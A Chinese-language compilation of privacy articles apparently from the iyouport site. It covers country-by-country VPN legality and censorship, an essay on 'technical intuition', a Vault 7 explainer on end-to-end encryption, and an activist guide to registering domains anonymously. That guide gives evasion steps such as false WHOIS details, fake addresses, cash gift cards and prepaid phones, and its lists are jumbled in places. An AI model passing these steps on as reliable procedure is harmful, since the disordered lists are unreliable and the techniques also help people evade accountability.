」 虽然毛里塔尼亚政府是几项人权公约的缔约国，但有明显的证据表明它积极藐视这些协议。网站遭到了严重的审查，博客作者被判入狱，甚至被判处死刑，其他形式的侵犯人权行为已得到充分证实。但是VPN的使用仍然合法。

」 毛里求斯的信息通信技术法令政府实际上拥有了阻止互联网内容的权力—由于其内容措辞太差—而且这一行为确实曾被用于阻止访问Facebook。但是，最近没有任何可信的报告显示毛里求斯政府试图审查互联网，而且在该国使用VPN是合法的。

」 就互联网而言，墨西哥是最自由的拉美国家之一，虽然政府对公民互联网活动的干扰不大，但有报道称新闻工作者受到监视，政府甚至威胁新闻记者。在这个国家使用VPN是合法的。

」 目前还没有关于政府试图干涉密克罗尼西亚公民互联网活动的报道。在这个大洋洲国家，VPN的使用也是合法的。

」 尽管摩尔多瓦公民的互联网活动受到的干扰相对较少，但政府最近提出的一项法案引起了业界利益相关方的批评，他声称法案允许政府审查互联网。在摩尔多瓦使用VPN也是合法的。

」 蒙古国主动审查用户的互联网活动，该政府拥有一个大型的敏感词过滤数据库。谢天谢地在该国使用VPN仍然合法。

」 就互联网审查而言，黑山并不一定拥有最好的声誉—事实上，就在最近，他们在选举日禁止了 WhatsApp 和 Viber 。但是，在该国使用VPN仍然合法。

」 摩洛哥已经在该国禁止了 Skype，Viber，WhatsApp，Facebook Messenger 甚至 VoIP 接入，但该北非国家尚未取缔VPN的使用。

」 最近莫桑比克政府被发现对其公民实施间谍活动—包括窃听电话、阅读短信、阅读 **WhatsApp** 信息，监控社交媒体活动以及主要向公民发布恐吓：“捣乱！你的秘密掌握在我们的手中。“幸运的是，他们尚未禁止VPN使用。

」 虽然缅甸曾试图干扰其公民的互联网接入，曾经阻止 Facebook 以及监视公民，不过在该国使用VPN是合法的。

」 虽然纳米比亚政府经常被发现威胁记者，但该国的互联网通常是一

个更安全的地方，尚未有文件显示政府企图干预公民的互联网活动。在纳米比亚，使用VPN也是合法的。

」 瑙鲁政府最近决定阻止包括 Facebook 在内的某些网站，以保护其公民的数据免受“滥用”。幸运的是，政府还没有决定禁止VPN来保护其公民免受“恶意黑客和数据盗窃者”的侵害。

」 荷兰几乎所有的公民都在使用互联网—2014年的普及率为93%—互联网是荷兰公民日常活动的核心组成部分，而且在涉及互联网方面是普遍自由的国家。在该国使用VPN也是完全合法的。

」 新西兰政府积极监测互联网用户的活动，政府在2010年还安装互联网过滤器。但是，在该国使用VPN是合法的。

」 虽然尼加拉瓜政府并未限制用户的互联网活动，但非政府组织称被政府监控其电子邮件。在这个国家使用VPN是合法的。

」 关于尼日尔政府对互联网的审查并没有很多报道，考虑到有报道称滥用权力和打压批评政府的记者，这是相当意外的。然而，当我们考虑到2014年只有2%的公民在互联网上这一事实时，想想看还是有道理的。我们猜测互联网用户依旧太少而不值得被政府关注。在该国使用VPN是合法的。

」 虽然尼日利亚几乎没有干涉和互联网审查，但政府最近推出的一项社交媒体法案引发了争议，这个非洲国家的一部分重点是控制公民的互联网活动。不过，在该国使用VPN是合法的。

」 大约97%的挪威人使用互联网，这个国家的互联网普及率最高。目前还没有关于政府试图限制互联网访问的可信报告，并且在该国使用VPN是完全合法的。

」 Youtube，Facebook，Flickr，甚至维基百科在巴基斯坦都被封锁了—一条Youtube禁令最近被解除了。政府实施的互联网过滤也会过滤向公民发布的内容和搜索结果。尽管如此，VPN的使用在该国尚未被取缔。

」 帕劳没有关于互联网审查的文件记录，并且在该国使用VPN是合法的。

」 据报道，巴勒斯坦政府积极审查公民的互联网活动以及反对派媒体。巴勒斯坦政府也关闭了多个网站。目前在该国使用VPN是合法的。

」 没有关于巴拿马政府限制公民访问互联网的文件记录，并且在该国使用VPN是合法的。

」 巴布新几内亚政府没有积极努力限制公民的互联网接入，但最近引入的网络犯罪法正在改变这种观点—许多人认为它是作为借口让政府遏制互联网自由。在巴布亚新几内亚使用VPN是合法的。

」 巴拉圭在互联网使用和权利方面是一个自由的国家，政府没有采取积极行动来限制用户访问互联网。目前在该国使用VPN是合法的。

」 秘鲁政府为在该国使用互联网的秘鲁人提供安全和自由的环境，政府并未试图限制用户的在线活动。在该国使用VPN是合法的。

」 菲律宾政府至少近期没有表现出努力阻止菲律宾人访问互联网。在该国使用VPN也是合法的。

」 尽管在涉及互联网使用和尊重公民的互联网权利时，波兰一般被评为自由国家，但政府推出的新反恐和监督法，赋予了政府阻止网站的权力，遭到沉重的批评。尽管如此，在该国使用VPN仍然合法。

」 目前还没有任何关于葡萄牙政府试图干预或限制其公民互联网接入的可靠文件报告，目前在该国使用VPN是合法的。

」 虽然卡塔尔通常阻止淫秽内容或其认为对伊斯兰教至关重要的内容，但无辜网站也遭到封锁是无法解释的。政府一再明确表示，它“不会阻止任何网站”，他们制定了法律，并将阻止的任务留给ISP。在这个中东国家使用VPN是合法的。

」 虽然罗马尼亚在其用户的互联网权利方面相对比较自由，但由于它引入了旨在控制该国赌博网站的法律，因此遭到了批评—许多人表示，这项法律很容易被用来审查公民的互联网活动。在该国使用VPN是合法的。

」 卢旺达政府一直在阻止独立报纸网站以及属于反对派的网站—政府也被抓住了机会采取措施监视其互联网用户。尽管如此，VPN的使用仍然是合法的。

」 目前还没有关于圣基茨和尼维斯政府试图限制该国接入互联网的报道，并且使用VPN是合法的。

」 目前还没有关于政府试图在圣卢西亚审查互联网的报道，并且在该国使用VPN是合法的。

」 目前还没有关于政府试图限制圣文森特和格林纳丁斯公民上网的可靠报道，但政府最近颁布的立法引发了批评，因为这些条款允许被利用来在线审查内容。在加勒比国家使用VPN是合法的。

」 关于萨摩亚政府干扰公民的互联网权利和使用的报道并不多，在该国使用VPN是合法的。

」 关于互联网权利，圣马力诺是一个自由的国家，没有政府干预公民的互联网权利。目前在该国使用VPN是合法的。

」 目前还没有可靠的证据表明圣多美和普林西比政府试图干预互联网，使用VPN是完全合法的。

」 沙特阿拉伯积极审查其用户的互联网活动，卫报曾称其为阿拉伯政权在互联网审查方面的领导者。更有意思的是，沙特阿拉伯政府声称已经阻止了超过40万个网站。出于某种原因，我们不知道为什么，这个政府还没有完全禁止在该国使用VPN。

」 虽然许多人认为塞内加尔通常“没有互联网审查”，但许多人对其“网络犯罪法”、加密管制法令和其他法律提出了疑问，认为政府全权审查该国的互联网使用情况。 VPN的使用尚未在该国合法化。

」 批评政府的人被抓捕、被指认为“传播虚假消息和恐慌”的人被拘留（实际上只是在Facebook上批评政府表现不佳并撒谎）以及其他许多暴行在塞尔维亚并不罕见。事实是，塞尔维亚政府是互联网权利的滥用者。不过，他们还没有将VPN的使用非法化。

」 有报道称政府试图限制塞舌尔公民进入互联网，特别是在试图镇压反对派活动家时。然而，VPN的使用目前在该国是合法的。

」 目前还没有关于塞拉利昂政府试图干预公民互联网使用的文件报告，并且在该国使用VPN是合法的。

」 新加坡政治网站已被关闭，政府批评者被定位，其他形式的审查也非常丰富。但是，在该国使用VPN仍然合法。

」 斯洛伐克政府很少被发现干涉公民在该国使用互联网的权利，目前在该国使用VPN是合法的。

」 斯洛文尼亚有超过73％的人使用互联网，普及率相当高。目前还没有政府试图审查该国互联网审查的可信报告，目前使用VPN是合法的。

」 尽管所罗门群岛这个大洋洲国家的互联网普及率很低，但没有关于政府试图干预公民互联网接入的文件记录。在这个国家，VPN的使用也是合法的。

」 索马里政府经常阻止批评者的网站，毫无疑问存在互联网审查制度。但是，VPN的使用尚未被取缔。

」 当南非政府推出一项“在线监管政策”法案时，许多人称这是非洲最严重的互联网审查法。然而，就公民的互联网权利而言，该国一般是相对自由的。在该国使用VPN是合法的。

」 韩国监测和审查用户的行为一再被曝光。不过，在这个国家使用VPNs是合法的。

」 虽然南苏丹的互联网普及率较低，但政府审查了公民的互联网活动。在该国使用VPN是合法的。

」 尽管西班牙在公民的互联网权利方面是一个普遍自由的国家，但最近在执政党提出禁止社交媒体meme时引发了轰动。在该国使用VPN是合法的。

」 有报道称斯里兰卡政府正在审查其公民的互联网活动并阻止批评政府的网站。不过在该国使用VPN是合法的。

」 在苏丹，互联网被关闭，网吧被袭击和网络用户被逮捕的情况并不少见。不过据称该国的公民在互联网自由方面正在“改善”。在该国使用VPN是合法的。

」 目前还没有关于苏里南政府试图检查公民互联网使用情况的可靠报告，并且在该国使用VPN是合法的。

」 虽然有报道称斯威士兰政府正在积极监测公民的互联网使用情况，但还没有关于公民互联网活动受到审查的报道。目前在该国使用VPN是合法的。

」 91％以上的国民使用互联网，瑞典是全球互联网普及率最高的国家之一。目前还没有任何可信的政府干预公民互联网活动的报告，并且在该国使用VPN是合法的。

」 尽管瑞士在互联网自由方面相对表现较好，但 65.5％的公民通过投票来支持授权政府权力监视公民互联网活动的法案……不可理喻。在这个国家使用VPN是合法的。

」 叙利亚在侵犯人权和网络审查方面有着悠久的历史，但目前在该国使用VPN是合法的。

」 台湾在几年前提出了一项法案，赋予政府与中国审查互联网类似的权力，但到目前为止还没有关于政府审查互联网或禁止使用VPN的报道。

」 2014年，美国被加入了无国界记者组织的“无国界敌人”名单，被指破坏对互联网和自身安全标准的信心。没错第一修正案保护公民的言论自由和新闻自由，但美国是美国，事实上被两码事了。虽然并没有积极地试图审查互联网，但是政府的秘密监视活动实在太令人震惊了。目前该国使用VPN是合法的。

原文

构建技术直觉：生存在数字世界必备的本能 - iyouport

你应该了解的现实自我保护措施-技术技巧以防身

【2019年5月23日存档】

数字世界令人迷茫。它渗透到我们生活的方方面面，但我们很少有人了解它究竟是如何运作的。更糟糕的是，如果我们想让技术为我们工作，很少有人知道应该从哪里开始。

当一些事情变得棘手或令人困惑时，我们不鼓励提问；如果你还没能掌握它，你就是问题所在。这项技术很神奇，构建它的人也是如此。任何无法被理解的技术都会被认为与魔法没什么两样。

如何构建正确类型的知识才能让每个人都能为了自己的目的利用数字世界的能力？在过去十年左右的时间里，这个问题有两个主要答案：

- 为有兴趣学习如何编码的人创造无障碍的机会；
- 将所有这些复杂性外包给少数人，并使这一主导阶级的技能变得异乎寻常。

但我们知道，这些答案都无法解决核心问题。

在过去十年中，我与对战略性采用技术感兴趣的活动家合作。即使是这些拥有最多资源、最明确的政治信仰和最崇高目标的团体也一直在努力建立正确的知识类型，以便做得更好。在选择、管理和使用技术时，按照自己的最佳利益行事并且符合您的政治和偏好是非常困难的 —— 有时是不可能的。虽然我长期以来一直认为对硬技能的一次性培训是不可能的，但只是在过去的几年里，我一直致力于明确地针对一种我称之为技术直觉的知识。

我不希望我们的组织合作伙伴学习编码，我希望他们学习如何与开发人员交谈。我不希望他们仅仅是将复杂性外包出去，我希望他们了解他们内部需要的技能，他们可以外包，并且随着时间的推移而调整。我希望他们能够通过他们不一定可以亲自部署的技术发挥创造力，尤

其是能够充分理解并以正确的方式表达激动人心的新可能性。我希望他们就技术的失败提出尖锐的问题。我希望他们能够积极地和经常地讨论数据使用可能带来的挑战、以及他们需要做出的负责任地使用数据的决策。

我相信行动中的技术直觉是一种关键的知识形式（不仅仅是技能组合），而且是我们作为一个社会尚且没有充分探索或优化的知识。

目前，让公众广泛参与我们对数字化未来的决策是不可能的。对驱动数字空间创建的知识、权力、基础设施和资源的不对称获取正在推动不平等，政治、经济和社会的不平等。而且，我们过分简化了参与的扩大和对所需技能的获取。我们专注于狭隘的硬技能。但是，像编码这样的硬技能的获得将重新巩固现有的经济关系，而不是重塑它们。

在此之前，我建议我们重新思考自己为积极参与政治和新经济而努力的能力。

- 这不像读写能力。这对系统来说过于被动和顺从。我们不希望系统清晰易读，我们希望它们变得柔韧。
- 这不是次专业。深入理解您在夜间课程中学到的一种编程语言可能会解锁技术领域的工作机会，但这并不能帮助那些想要了解技术而不必将其作为额外技能的人。
- 这也不是关于技术系统对我们做了什么的语话或新闻周期的丑闻曝光。那些东西仅仅能使非技术人员成为观察者的角色。

技术直觉是我们知道和看到但从未努力过的概念框架。这是在技术系统内部和周围广泛探索个性化决策的关键。

技术直觉有四个方面。

想象—— 具有信息和本能的想象力，即使没有实施想法的技能，也可以概念化它（这是好的还是坏的）并建议（好的）技术系统；

提问—— 能够提出可以推动理解和决策的问题，以及明确指导这些问题所需的方式和地点（以及专家）；

决定—— 明确您的政治和偏好（个人和专业的）如何与您可以而且应该在数字系统内做出的决策相关联；

要求—— 如果一个系统的设计方式与我们的政治和道德不一致，应该知道什么时候要坚持自己的想法，以及提出要求。

每天都有许多例子和情况，技术直觉可以支持更多的代理和决策。当我们在工作并考虑技术可以帮助我们实现目标的创新方法时，当我们决定如何在线参与时；并且，即使我们只是外出购买杂货，技术直觉也会发挥作用。

我将使用一个几乎普遍的消费者示例来演示技术直觉：我的杂货店建议我注册一张折扣卡，我在结账时要通过扫描以换取折扣。在这种情况下，技术直觉如何发挥作用？

首先想象：该计划产生了哪些数据？这些数据可以说明很多关于我的私人习惯的事，而且完全可以据此对我进行身份识别。它可能用于预测我的行动、我的生活方式（恶习和美德），还可以用于各种其他目的。

商店或那些可能购买该数据的人如何使用这些数据？商店可能会使用它来向我定位广告。也许有一天，他们会根据他们可以告诉我需要的商品或者战略性地向我收取更多费用。保险公司可能想知道我购买了多少酒精或非处方药。信用机构可以使用这些数据来制定关于我的消费习惯的概况或预测。在一些国家，它可能会影响社会信用评分。

数据如何组合使用？如果它与其他公司生成的数据一起使用，那么关于不同购买的多组数据可能会对我有什么影响？以英国的 Nectar 卡为例，它们被用于多个系统，如服务站、地铁站、杂货店和大型商店。

您可能还会想到不同的结果。比如所有数据有一天忽然被公开了会怎么样？对我来说有多重要？对别人来说会有什么用？

其次提问：该计划是否提供有关如何使用数据的任何细节？它与其他公司的计划有关吗？我能节省多少钱？我是否想参与并因此激励该公司实施这一举措？这些省下来的钱是否值得我冒险？对我的家人来说值得吗？会有什么影响？

然后决定：我不会注册那张卡，因为我不认为我交换隐私数据是值得的。或者，我会参加，因为我认为10%的成本降低值得接受这种监视—否则我可能付不起这笔钱。如果是这种情况，也许我会参加，并会偶尔提供虚假的联系方式和与朋友交换卡，以便减少有关我的数据。

再然后，要求：在反思这一举措后，我很惊讶地发现，没有任何关于通过它产生的数据的保护规定，并且商店没有试图清楚地向我解释注册的利弊权衡。如果这是一个让我生气的问题，我会在反馈表中跟

进，向当地分公司的工作人员提出。我认识到我对公司的影响力可能远不如政府举措，但我知道消费者保护方面的大多数差距都存在，因为客户没有足够的兴趣和技术直觉来迫使公司变得更好—而政治家对这些问题不够关心，无法保证或激励监管行动。

有许多人致力于开发新形式的复杂性的工具，但通常它们是为那些已经在技术领域工作的人设计的。新工具正致力于提高复杂内容的可解释性; 视觉设计师正在利用用户界面作为技术传授的渠道; 动画师正在努力简约化复杂的技术概念; 公司正在招聘科学传播者; 研究人员正在研究机器学习论文中的可解释性; 人们正在建立完整的隐喻词典，可以用来解释技术概念。

这项工作令人兴奋—我们应该支持和鼓励它。但我们还需要开发更易于理解的帮助，更清晰地连接概念，并为那些有兴趣了解它们如何组合在一起的人建立一条路径。我们的目标不是每个人都是编码员、统计学家、设计师或工程师的世界，也不是每个人都想成为技术专家的世界。

我们想要一个这样的世界，在这个世界里，我们所有人都可以建立技术直觉，并在数字系统内部和周围重新获得我们的控制权。

如果您正在研究如何支持非技术人员社区发展技术直觉，我很乐意听取您的意见。你在做什么来创造洞察力和理解力？什么类型的见解可以导致更强大的技术直觉？对你的目标受众能有什么影响？欢迎留言。〇

原文

泄漏文件显示间谍已经能绕过 Signal 的加密，那么端对端还有用吗？ - iyouport

你应该了解的现实

【2021年3月24日存档】端对端加密的确可以被 *绕过*，但不是那么容易被*破解*

由于美国对WL创始人的起诉，一些中国朋友再次谈及WL曾经发布过的经典文件，其中之一就是 Vault 7；这套泄漏文件的确非常惊人，它展示了中情局的黑客工具无孔不入的危险程度。

对于普通互联网用户来说，该文件中提示的技术工具引起了一个争议——“如果间谍已经可以入侵端对端加密应用，那端对端还有用吗？”

如果您自2013年5月以来在任何时候使用过互联网，您可能都听说过这样的建议：要使用加密通信。斯诺登揭露的大规模监视显示间谍机构一直在记录所有人的电话、短信和电子邮件，这引发了加密应用和服务的开发和使用的激增。

仅仅几年后，加密技术就被广泛用于日常通信，这是斯诺登带来的最明显变化之一，虽然监视本身并没有被阻止。

如果您使用这些加密工具，可能也听说过 “端到端加密” 或 “E2EE” 这个词。这个概念很直接：端到端意味着内容从一个端点（通常是你的手机或电脑）到另一个端点（你的信息的预期收件人的手机或电脑）进行加密。但这对于我们这些用户来说，它承诺的安全程度究竟如何呢？

自特朗普执政以来，美国海关和边境保护局（CBP）加强了对旅客隐私的侵犯。CBP一直要求搜查美国公民和所有游客的手机和笔记本电脑，他们还要求旅客提供密码或登录个人的社交媒体账户，以允许当局搜查。不遵守的旅行者将面临被拒绝入境的威胁。

2017年3月7日，Wikileaks 公布了大量泄露的中情局文件 —— Vault 7，包括中情局花钱买来的漏洞和漏洞知识，并对公众保密。现在这

些信息已经泄露，知道这些漏洞的不再只是中情局，而是所有人。

换句话说，您的对手不再只有那些间谍，而是知道怎么使用这些技术的任何坏蛋。

然而《纽约时报》和其他主流媒体的报道对此的解释是错误的，他们说，“中央情报局破坏了 Signal 和 WhatsApp 等应用程序中的加密”，而实际上，中央情报局所做的是针对性地损害了特定人群的 Android 设备。

简而言之，这一揭露反而证实了使用端到端加密通信的重要性，它阻碍了国家层面的行为者进行大规模监控的能力。E2EE仍然很重要。

有关 Vault 7 的许多媒体解读给人的印象是，诸如 Signal 之类的加密应用已被破坏。而实际上，入侵是在设备级别上的 —— 也就是“端”。没有理由相信加密本身不起作用。

那么，危险在哪里？

弱点1：端

「图」

首先，重要的是要明白，如果你能读到一条信息，那就说明它是明文 —— 也就是说，不再是加密的。通过端对端加密，安全链中的薄弱环节就是你和你的设备，以及你的收件人和他们的设备。如果你的收件人可以读取你的信息，任何可以访问他们设备的人也同样可以读取这条信息。

一个卧底警察可以偷窥你的收件人的手机以读取你发送的信息 —— 比如肩膀冲浪，或者警察可以没收你的收件人的设备并将其破解。如果这些风险中有任何一种可能发生，你应该在发送任何你不想与政府间谍分享的东西之前三思而行。

- 不要忘了 “整体安全” 训练中强调的思考方式！安全不是一个人能完成的工作，也不是哪个软件能帮您做到的，您需要科学的协作才能真正获得安全

“Vault 7” 的泄漏恰恰证实了这点，它展示了如果你的对手（如CIA）获得了你的电子设备、或你的联系人的电子设备的物理访问权限，并能够解锁它，像 Signal、WhatsApp 和 Telegram 这样的应用程序就

完全没用了。

围绕 Vault 7 的许多报道都有些误导性，给人的印象就像是这些加密应用本身已经受到了损害。事实上不是，在这种情况下，妥协是在设备层面 —— 也就是端 —— 发生的。加密本身仍然可信。

弱点2：有针对性的监视

「图」

考虑到您很可能无法控制您的联系人的安全状况，您应该考虑到：您发送给对方的任何信息都有可能被间谍阅读。

如上述，肩膀冲浪和被警察查抄手机，这两种情况可能更多见一些；比如，你的联系人在接收你发送的信息的时候正在乘坐电车、正坐在咖啡馆里、或者在机场大厅的长椅上等等，监视者可以近距离偷窥此人的手机屏幕，这就是肩膀冲浪；并且，在美国和中国，都有很多警察查手机和电脑的情况，您应该知道如何随时防御这种状况 —— 这是彻底毁掉端对端加密的手段。

- 关于肩膀冲浪及其他形式的威胁，见《如果您已成为目标：来自内部和外部的威胁和抵御》
- 防御方法，见列表-1 “反侦察 在现实中反监视”
- 关于如何防止被警察查抄手机和电脑，见 “在敌对环境中保护自己” 系列内容

但以上这些并不是全部危险性，还有一种如今越来越多见的情况，就是 —— 恶意软件；也就是说，您的联系人的电子设备已经被恶意监视软件感染，而对方不知道，这类恶意软件可以记录目标设备上所有传入和传出的通信。

当然，感染者也可能是您自己。

这种妥协的功能也是在端级别的，它可以使 E2EE 完全失效。因为很难知道您自己（或您的信息接收者）是否是这种类型的攻击目标，所以，最好的办法是 —— 默认不要通过任何数字通信发送过于敏感的信息。

弱点3：元数据

「图」

关于端对端加密，您应该知道的第三件事是，它不一定能保护您的元数据。

根据通信的传输方式，日志仍可能显示通信的时间和长度，以及发送者和接收者都是谁。日志还可能显示通信时发件人和收件人的地理位置。

虽然这通常不足以让某人单独入狱，但是，在证明人与人之间的关联、确定与间谍感兴趣的地点（比如抗议现场）的接近程度、以及追踪通信模式方面，它是非常有用的。所有这些信息都有助于在直接监视的情况下建立更大的目标行为模式。

所以 ...

「图」

如果端到端加密不一定能保护您的通信内容，而且还放弃了非常有用的元数据，那么使用它的意义何在？

E2EE 做的最重要的事之一就是：确保您的数据永远不会以可读的形式进入别人的服务器。由于端到端加密从您点击“发送”的那一刻起就开始了，并且一直持续到收件人的设备上，因此，当一家公司（如 Signal）被传唤到警察局以索取您的通信记录时，他们没有任何明文内容可以交给警察。

这就使当局处于这样的境地，即：如果他们想获取您的通信内容，就不得不花费大量的时间和资源来试图破解加密。在美国，您的快速审判权可能会使这些证据对检察官毫无用处，因为检察官无法迅速解密以取悦法官。在中国，他们可能无限期关押您，而没有任何证据，这期间抗议者可以采取行动给当局施加压力，要求释放您。和国际上的权利组织联合效果会更好。

E2EE 的另一个用途是让间谍部门的大规模监视项目变得更加困难。由于传输过程中没有任何一个点可以抓取您的未加密通信，所以任何抓取所能获得的都是同样的加密文本块，当然这可以通过法庭传票获得。

大规模监控一般是通过收集任何可用的数据，并对其进行自动排序而不是单独分析。使用加密技术可以防止对内容进行算法筛选，从而使这一过程变得更加困难，通常间谍部门会认为这个时间浪费得不值得。

除了大规模数据收集外，间谍和警察还经常使用被称为黄貂鱼的手机站点模拟器。黄貂鱼假装成手机信号塔，以欺骗您的手机连接它，使其放弃可识别性信息，包括您的位置。

黄貂鱼也会抓取并记录您的所有通信。与其他拦截方法一样，加密意味着被间谍检索到的信息基本上是无用的，除非这些间谍愿意花大力气去解密它。

静态加密

「图」

除了使用端到端加密来保护正在发送的信息内容外，您还可以使用全盘加密来保护存储在设备上的信息。

适当的全盘加密意味着，如果没有您的加密密钥（通常是口令），您设备上的所有信息都无法破译，从而创建了一个更难入侵的加固端。

虽然全盘加密不一定能防止一些更隐蔽的监控方法，如恶意软件，但它可以防止获得您的设备的警察和间谍从其中提取任何有用的数据。这种提取通常被称为“取证”（挺讽刺的），您可以在下面看到详细解释和防御方法：

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》
- 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》

端到端加密绝不是抵御民族国家监视或恶意个人监控的神奇盾牌，但 **Vault 7** 强调了使用它如何帮助迫使程序从大规模监控模式转向资源密集型目标攻击模式 —— 简单说，如果您不是如斯诺登那样的被全球通缉的“要犯”，那些间谍很可能就不会愿意把大笔的资金花在您身上。

📌 当与良好的安全意识、加密设备、和其他安全实践相配合时，

E2EE 可以成为一个强大的工具，显著减少您的攻击面。始终如一地习惯性地使用端到端加密，可以使许多较低级别的威胁失效，甚至可能使一些更高级别的对手决定攻击你太费劲了，根本不值得。

就如我们在 “难以被追踪” 系列中强调的中心宗旨！—— 不要相信任何**100%**安全的承诺，那绝对是骗子，真正有效的防御是，为自己争取到足够的时间，尽可能消耗监视者的金钱和资源，让他们因玩不起而放弃追踪您。

并且，切勿小看任何传统的、似乎落伍的间谍手段，当大多数人都把注意力放在那些最新出现的高端的间谍手段上时，反而容易在套路上中招。

您可以在下面这本书中看到更多具体的防御方法，这本书在这里下载：https://www.patreon.com/posts/nin-ke-neng-bu-38187564

Be careful! and Good Luck! ○

原文

活动家如何构建敏感网站并躲避政府和恶意者的追踪监控 - iyouport

你应该了解的现实

【2020年7月24日存档】本文会介绍具体步骤。但首先应该明确的是概念，即 您希望得到哪种程度的保护。

曾经有朋友询问如何构建一个追查不到所有者身份的网站。这需要涉及多个方面，域名注册方面的隐身只是之一，还包括，比如购买非免费软件、注册高级服务、为访问专有数据库付费等等，每一步都可以暴露您的身份。

本文分为三个主要部分。

首先，简要介绍一下假名和匿名之间的区别。

其次，分步介绍如何获得一个假名域名，同时使任何人都难以确定您是谁。

最后，简要介绍其他挑战，包括有关如何应对其中一些挑战的详细信息。

这些步骤综合起来足以使一个人至少在一段时间内隐瞒身份，就算是最有能力和最有耐心的监视者也很难了解您是谁。同时，这也是一个警告性的故事，关于，追求“完美”匿名性也许需要您舍弃一些东西。

假名、匿名、和可追踪性

「图」

假名和匿名是不同的。假名指的是您在现实中从未使用过的名字；匿名一般指的是不论如何都找不到对应的身份。这两者经常被混用。

这些概念可以像数字安全领域中的任何其他事物一样变得复杂，但是

最基本的定义通常是最有用的。

最基本层面讲，使用假名就像是笔名，人们基本知道您的假名，而且不难通过假名知道您的真名；但是，要想匿名，您必须防止任何人将这个名字链接到您的真实身份。

幸运的是，这些东西很少是非黑即白的，安全人员一般会谈论“可追踪性”。重要的是要认识到，匿名性（无论您选择叫它什么）都是灰色地带。

☞更具体地说，您需要问的是一个切实的问题：“我需要防止谁将我的假名与真实身份联系起来？”

如果答案是“那个精通技术的亿万富翁间谍同时也是我邻居”，那么您将必须真正的匿名；如果答案是“不很聪明并且不太在意的人”，那么一个听起来很酷的化名也许就可以解决问题。

当然，这种可追踪性梯度并非仅限于域名注册 —— 它涉及各种在线和离线操作，包括选择电子邮件地址的简单过程。

假设您的名字叫王大锤。如果您使用地址 wangdachui@gmail.com 注册一个电子邮件帐户，然后将消息发送给任何知道您名字的人，那么他们一看就能知道是谁发送的。

为了获得假名，您可以注册一个地址，例如 tekakiarifu3237@gmail.com。但是，如果您的邮件实际显示为 tekakiarifu3237@gmail.com 「 wangdachui 」 发送的邮件，那么显然，它根本就没什么用。

同样，比如为 iyouport.org 购买域名，同时在 WHOIS 中公开列出 iyouport@gmail.com 作为注册人的电子邮件地址。从技术上讲，该域是伪名，但是，几乎不提供匿名性。

公开的和私密的可追踪性

「图」

区分可追踪性是公开的还是私密的，也许很重要。

tekakiarifu3237@gmail.com 「 wangdachui 」 是公开可追踪性的一个例子；如果在购买域名时，WHOIS 注册信息中包含您的真实联系信息，也是如此。任何知道该如何搜索的人都能拿到您参与其中的证

据。

私密可追踪性相比下更复杂一些。即使您在选择假名电子邮件地址的「Real Name」部分时非常小心 —— 或提交了精心选择的WHOIS注册信息 —— 仍然会有许多个人、公司、机构和机器人能够将您的假名与您的真实身份联系在一起。

☞比如下面这样的情况：

- 这个电邮地址您曾经用过多年；
- 您曾经将这个电邮地址链接到了个人社交媒体账户；
- 您用信用卡付款了；
- 创建帐户时提供了“备用地址”或手机号码；
- 您经常从您的家和办公室的IP地址登录帐户 ……

如果以上任何一个条件为“是”，都能说明您的“私密可追踪性”很高。

虽然私密可追踪性仅对那些占据某种特权的人而言是危险的，但是您需要清楚地列出这些人的名单，非常重要 —— ⚠它们至少包括：熟悉您的所有人、域名注册商、电子邮件和社交网络服务提供商、ISP、任何监视机构、以及有机会物理访问您设备的任何人。

☞通常最有可能的威胁包括：

- 域名注册商或域名隐私保护服务提供商的员工收受贿赂而出卖您；
- 信用卡公司出售交易信息以牟利的数据经纪人出卖您；
- 经常与政府机构共享IP地址数据的互联网服务提供商（ISP）；
- 服务提供商和手机运营商被政府间谍要求透露特定电话号码或电子邮件地址的所有者……

⚠请注意，以上这些仅仅是最基本的！完整列表要长得多，它还可能包括您身边的所有人，朋友、知己、同事；而且，当然，还包括被黑客入侵并找到其收件箱、交易日志、和用户数据库并在线倾销以供所有人查看的情况，私密可追踪能力突然变成公开追踪性。

因此，与其考虑有关假名性和匿名性的部分，不如考虑公开可追踪性部分和私密可追踪性部分。弄清面临的挑战，有助于帮您构思一个更合适的护盾。

域名所有权和WHOIS

「图」

互联网名称与数字地址分配机构（ICANN）是于1998年成立的美国非营利组织。除其他职责外，它还管理分配域所有权的协议。出于本文的目的，这些协议最重要的方面是它们要求域所有者：

向注册服务商提供准确详细的联系方式 … 包括：全名、邮政地址、电子邮件地址、语音电话号码、和传真号码（如果有的话）

该协议进一步指出：

故意提供不准确或不可靠的信息 … 或 … 未能在*15*天内答复注册服务商有关联系方式的准确性询问 … 应作为取消注册资格的依据。

域名注册商通常将此联系信息提交到可公开访问的域名所有者的分布式数据库 WHOIS中。有许多免费的在线服务可让您搜索此数据库。而且非常简单，只需：# 在浏览器中导航到 ICANN WHOIS 页面

- 输入一个域名
- 点击查找

1. 使用以现金购买的并以新名字和地址注册的预付费“礼品卡”来支付域名；

- 任何时候与礼品卡提供商、注册服务商或新域本身进行交互时，请使用 Tor 浏览器或 Tails。

1. 选择购买礼品卡的国家/地区的地址

- 通过使用 Tor 浏览器或 Tails 访问在线 “假地址生成器” 来标识真实（或至少是现实）的街道地址。

1. 选择在相应国家/地区有效的电话号码

- 选择一个可以实际接收邮件的电子邮件地址
- 确保该电子邮件地址没有透露有关您或您的合作伙伴的任何信息。

1. 要求您解决 CAPTCHA 测试以证明是人类，只是因为通过Tor访问的结果

- 直接拒绝您新创建的联系信息
- 拒绝预付礼品卡的付款
- 成功付款后过了很长时间又退回了钱

1. 限制手机号码的可追踪性

- 使用该号码限制电子邮件地址的可追踪性
- 如上所述，在“以假名注册”之前执行所有这些操作。

1. 访问预付费手机帐户的时候

- 访问新电子邮件帐户的时候
- 访问预付礼品卡帐户的时候
- 使用预付礼品卡购物的时候
- 访问、管理或搜索新域名信息的时候

1. 插入电池之前，在预付费手机上的两个摄像头上都贴上黑胶布

- 每当靠近家、办公室、或真实的移动电话时，请将电池从预付费电话中取出
- 避免将预付礼品卡用于任何无关的购买

1. 《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》

- 《构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2）》
- 《与S先生共度美好一天—反取证技巧：变得难以被追踪的简单方法（3）》
- 《保持零信任：变得难以被追踪的简单方法（4）》
- 《少即是多：变得难以被追踪的简单方法（5）》
